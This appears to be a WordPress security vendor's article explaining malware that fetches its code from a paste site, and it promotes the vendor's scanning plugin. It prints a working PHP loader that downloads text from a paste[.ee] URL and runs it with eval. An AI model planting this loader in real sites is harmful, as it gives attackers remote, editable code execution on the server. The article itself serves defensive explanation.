This section describes malware that uses a text copy and paste service in WordPress.

What is a text copy-paste service?

A text copy and paste service is a service that allows you to paste and store text online.
The most famous service is PATEBIN, but there are many other minor text copy and paste services.

Examples of malware using text copy/paste services

The following is an example of malware code that uses this text copy-paste service.

$url = "https://paste[.ee]/text slug";
$ch = curl_init($url); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
eval("?>". $result);

This malware reads the stored malware body and executes it with the eval function (a function that can execute text as PHP code) by means of a text copy and paste service.

The scary part of this malware is that the malware itself is not stored on the server, but on a remote copy-and-paste service that hackers can edit as they wish.

This means that hackers can rewrite malicious code and conduct hacking activities within the server as they wish. Anything that can be done with a PHP program, such as rewriting the database, creating new malicious files, rewriting content, or tampering with legitimate files, can be done on the server.

Detecting and Removing Malware Using Text Copy and Paste Services

This type of malware can also be detected and removed with our malware inspection and removal program.

Free] WordPress:Malware Scan & Security Plug-in [Malware and Virus Detection and Removal].

In some aspects, mechanical inspection of plug-ins has limitations against highly novel malware. If you do not know how to remove the malware, or if you are concerned that it has not been removed completely, or if reinfection is repeated, we recommend that you request professional removal of the malware.

Related Posts:

  1. What is the obfuscation process used in over 90% of WordPress malware?
    More than 90% of WordPress malware has obfuscated PHP programs. This article describes the obfuscation process....
  2. eval function used in over 50% of WordPress malware (tampering and viruses)
    We will explain the process called eval, which is used in more than half of the malware files detected by WordPress Doctor, and how to stop eval....
  3. WordPress malware, a case study included in Google Tag Manager
    Here is an example of an infected Google Tag Manager with symptoms such as a WordPress site redirecting to another site (clicking a button jumps to a different site)....
  4. Can WordPress malware infect database data?
    We will explain how an infection (tampering) with the WordPress database can cause the files on the site (server) to be tampered with....
  5. Can malware be removed by updating wordpress and plugins?
    When WordPress is infected with malware (tampered with), updating WordPress and plug-ins may not remove the malware....
  6. If you do not know where the malware infected malware is located or if you cannot find it
    This section explains what to do if you do not know the location of infected malware or if you cannot find it....